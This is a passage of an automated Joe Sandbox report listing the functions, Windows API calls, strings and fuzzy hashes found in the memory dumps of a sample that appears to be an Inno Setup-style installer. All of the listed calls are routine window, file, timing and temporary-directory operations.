Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction ID: b9c2064567b20e793381e804e5bc2438c092fd9c167849d7407d8daf0e01c371
Opcode Fuzzy Hash: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction Fuzzy Hash: 1951CA75A006299BCB22DB99D9C1BDDB3FCAF4C304F8041DAE509E7211D634AF858F69

Function 00646274 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00646290
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0064F22D,00000000,0064FB5F), ref: 006462BF
GetWindowLongW.USER32(?,000000EC), ref: 006462D4
SetWindowLongW.USER32(?,000000EC,00000000), ref: 006462FB
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 00646314
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 00646335

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 56e9fd127e5b8df3264884d8cb962e5cf8db3fc3bd665bacd5c80e76b0042ab2
Instruction ID: 4dd900cc12852a0d25872cc702cb4c4dd59defd6bf464013fc66fcb0f6f5a345
Opcode Fuzzy Hash: 56e9fd127e5b8df3264884d8cb962e5cf8db3fc3bd665bacd5c80e76b0042ab2
Instruction Fuzzy Hash: F0112E35344701BFCB00DB68DD91FD237E9AB1A355F0452A5F645DB3B2CAB8E8809B44

Function 00404850 Relevance: 9.1, APIs: 6, Instructions: 51fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00404872
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000), ref: 00404878
GetStdHandle.KERNEL32(000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 00404897
WriteFile.KERNEL32(00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 0040489D
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?), ref: 004048B4
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000), ref: 004048BA

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandleWrite
String ID:
API String ID: 3320372497-0
Opcode ID: 4a542bbfe69cf2b8d6e1af26e7d435816e64742c81cc072ed4eb12002cc2b380
Instruction ID: 9db4a11d59ebcb307a3cfeeab30a2223b0d8a9ead0fdef3697f8df52dc81456b
Opcode Fuzzy Hash: 4a542bbfe69cf2b8d6e1af26e7d435816e64742c81cc072ed4eb12002cc2b380
Instruction Fuzzy Hash: 3C01A9E26053103EF610FB6A9D86F5B2ADC8B4576AF10463B7218F31D2C9389D44937E

Function 00403F88 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,0000001B,00404828,02683360,0040726E,0040760F,?,00000000,02683360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257), ref: 0040403F
Sleep.KERNEL32(0000000A,00000000,0000001B,00404828,02683360,0040726E,0040760F,?,00000000,02683360,004072DD,00000000,00000220,0042715C,?,004271AA), ref: 00404055
Sleep.KERNEL32(00000000,?,-00000004,0000001B,00404828,02683360,0040726E,0040760F,?,00000000,02683360,004072DD,00000000,00000220,0042715C), ref: 00404083
Sleep.KERNEL32(0000000A,00000000,?,-00000004,0000001B,00404828,02683360,0040726E,0040760F,?,00000000,02683360,004072DD,00000000,00000220,0042715C), ref: 00404099

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: aa65c037b8b16099025df41b79eb0bd70fabd568e44aaae4c7f43dd737f2b1a1
Instruction ID: f1ec43ae1c30d41b10cc41b48195bce38923192b9b407a0b5587fa379d4d1d3c
Opcode Fuzzy Hash: aa65c037b8b16099025df41b79eb0bd70fabd568e44aaae4c7f43dd737f2b1a1
Instruction Fuzzy Hash: 1FC136B2A002618FC715CF69E884316BFE5ABC5311F0882BFE555AB3D1C3B8DA41DB94

Function 00600B6C Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 239windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00600BE9
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00600C10
SetForegroundWindow.USER32(?), ref: 00600C21
DefWindowProcW.USER32(?,?,?,?,00000000,00600EE8,?,00000000,00600F26), ref: 00600ED3

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00600D5B

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessagePostWindow$ForegroundProc
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 602442252-3182603685
Opcode ID: 3fce2995ff52617cc64c320909660141712ed5c555b9955e6d286241251052a9
Instruction ID: ab36fd57ef67da6a4d73ccec4cc41cbfff4955b2beb65bb6a2c22b7cd4e29d0d
Opcode Fuzzy Hash: 3fce2995ff52617cc64c320909660141712ed5c555b9955e6d286241251052a9
Instruction Fuzzy Hash: 65911134644204AFE719DF58CD61F9ABBBAEB89700F1584AAF804AB3E1C675AD40CF14

Function 00407BAA Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(?,00000000), ref: 00407C7E

Strings

iB, xrefs: 00407BCB
(lB, xrefs: 00407C57
X7@, xrefs: 00407CDA

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$X7@$iB
API String ID: 3192549508-2475287703
Opcode ID: 626a379a1801ecfc05b34fbfd2420f4cb3f5b81a3a160e2aedf08c5b78c8ff59
Instruction ID: 9b8732aad967581ee1cfddc98b064603106c7b26d23cb4f63de0fa6512a07937
Opcode Fuzzy Hash: 626a379a1801ecfc05b34fbfd2420f4cb3f5b81a3a160e2aedf08c5b78c8ff59
Instruction Fuzzy Hash: 3C417F71A0C2059FE720DF14D884B2BB7A5EF94314F15856AE549AB3D1C738FC82CB6A

Function 005F89FC Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AE7
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AF7

Strings

jd, xrefs: 005F8A28, 005F8A33
.tmp, xrefs: 005F8A9B
_iu, xrefs: 005F8A89

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu$jd
API String ID: 3498533004-1802150322
Opcode ID: a0223c2dfc578305c0dddc432aeb03b296bc242cc522b57ea9052b2c607b4f5e
Instruction ID: 3061496996edbf0f295552ba256b7f5cd8ef57c15fc1c95d12c7dd96c3447177
Opcode Fuzzy Hash: a0223c2dfc578305c0dddc432aeb03b296bc242cc522b57ea9052b2c607b4f5e
Instruction Fuzzy Hash: 9C31A430A4021DABDB10EBA5C846BEEBBB4FF45314F10417AF640B72D2DA786E059758

Function 005A3AB4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 103timethreadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005A3A28: GetCursorPos.USER32 ref: 005A3A2F

SetTimer.USER32 ref: 005A3B9F
GetCurrentThreadId.KERNEL32 ref: 005A3BD9
WaitMessage.USER32(00000000,005A3C1D,?,?,?,00000000), ref: 005A3BFD

Strings

$/Z, xrefs: 005A3AD6, 005A3AE0, 005A3B31, 005A3B59, 005A3B91, 005A3BB2, 005A3B65, 005A3B41, 005A3B44, 005A3AEC, 005A3AF5
D0f, xrefs: 005A3BDE

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentCursorMessageThreadTimerWait
String ID: $/Z$D0f
API String ID: 3909455694-26430867
Opcode ID: d78b845be59367d3e209cbd22b0e30c63a83b27645a5c60fd08de3d69e42f648
Instruction ID: e22e41007f1cd188d3129f5814c38c56834451e257cf5d477a750d23bbd2f832
Opcode Fuzzy Hash: d78b845be59367d3e209cbd22b0e30c63a83b27645a5c60fd08de3d69e42f648
Instruction Fuzzy Hash: F4415E30A04248EFDB51DFA8D896B9DBBF6FB46318F5584A9F804A7291C7B45F44CB20

Function 00650308 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 005A2A3C: SetWindowTextW.USER32(?,00000000), ref: 005A2A6D

ShowWindow.USER32(?,00000005,00000000,006505BC,?,?,00000000), ref: 0065034E

Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

Part of subcall function 00421594: SetCurrentDirectoryW.KERNEL32(00000000,?,00650376,00000000,00650583,?,?,00000005,00000000,006505BC,?,?,00000000), ref: 0042159F

Part of subcall function 005B0518: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005B05AD,?,?,?,00000001,?,005FB63E,00000000,005FB6A9), ref: 005B054D

Strings

Uninstall, xrefs: 00650334
IMsg, xrefs: 00650422
.msg, xrefs: 006503B4
.dat, xrefs: 00650395

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 062fbde91890a9c7c71bdbdaff0e6b149ef8273d17b618ac53844c83cbed721d
Instruction ID: f4c181762cbf351847136a24d252f6132ab9ebf6a138c6ef489f4fabac20360c
Opcode Fuzzy Hash: 062fbde91890a9c7c71bdbdaff0e6b149ef8273d17b618ac53844c83cbed721d
Instruction Fuzzy Hash: 5A416F34A006099FD700EFA8CD569AEBFB6FB89300F508465F900B7791DA75AE05DF51

Function 0064449C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,006445EE,?,?,00000005,00000000,00000000,?,00650C25,00000000,00650DD8,?,00000000,00650E3C), ref: 00644527
GetLastError.KERNEL32(00000000,00000000,00000000,006445EE,?,?,00000005,00000000,00000000,?,00650C25,00000000,00650DD8,?,00000000,00650E3C), ref: 00644530

Strings

_isetup, xrefs: 00644512
\_setup64.tmp, xrefs: 006445A6
Created temporary directory: , xrefs: 006444D9

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: cac10ad592e500dbc9321eb5b0c6fa4350d4f5f3ada15836020bf4f1a565dd9d
Instruction ID: 8551b8634482954e3fd0c2332de757f57d69561d22e1e83ac04cf94fc86de4b6
Opcode Fuzzy Hash: cac10ad592e500dbc9321eb5b0c6fa4350d4f5f3ada15836020bf4f1a565dd9d
Instruction Fuzzy Hash: 29411074A001099BDB04EFA5D886ADEB7B7EF89304F50417AF400B7392DE74AE05CB69

Function 0065C4A4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0040EC94: GetModuleHandleW.KERNEL32(00000000,?,0065C4B7), ref: 0040ECA0

GetWindowLongW.USER32(?,000000EC), ref: 0065C4C7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0065C4E3
SetErrorMode.KERNEL32(00000001,00000000,0065C528), ref: 0065C4F8

Part of subcall function 00651170: GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0065C502,00000001,00000000,0065C528), ref: 0065117A

Part of subcall function 005A2F2C: SendMessageW.USER32(?,0000B020,00000000,?), ref: 005A2F51

Part of subcall function 005A2A3C: SetWindowTextW.USER32(?,00000000), ref: 005A2A6D

ShowWindow.USER32(?,00000005,00000000,0065C528), ref: 0065C562

Strings

Setup, xrefs: 0065C548

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$HandleLongModule$ErrorMessageModeSendShowText
String ID: Setup
API String ID: 1533765661-3839654196
Opcode ID: f8c58ef73216a5b498c7f1e6a965958284e2f0dd262b70c0fb50f6e5d3e4fcef
Instruction ID: 1b4fd68c5f12b7e95b75c71ee5b84b9948103f9578c114e64c2b51bfeab17fc8
Opcode Fuzzy Hash: f8c58ef73216a5b498c7f1e6a965958284e2f0dd262b70c0fb50f6e5d3e4fcef
Instruction Fuzzy Hash: 63218134204B02AFC300EF69DC96D567BEAFB4B360B1155B5F900CB7B1DAB4A850CB64

Function 00619ABC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000004FF,00000000,00619B3D), ref: 00619AEE
GetExitCodeProcess.KERNEL32(?,?), ref: 00619B11
CloseHandle.KERNEL32(?,00619B44,000000FF,000004FF,00000000,00619B3D), ref: 00619B37

Strings

GetExitCodeProcess, xrefs: 00619B1A
MsgWaitForMultipleObjects, xrefs: 00619AFD

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 242899fcc0be58cbc3ab360f2b663c78cae9d5b9790535ea214d61b29f3b34d3
Instruction ID: 17f76d570b79bce70c84d933d727bccac0e9e9e67c25deff2b623aab18eb49ef
Opcode Fuzzy Hash: 242899fcc0be58cbc3ab360f2b663c78cae9d5b9790535ea214d61b29f3b34d3
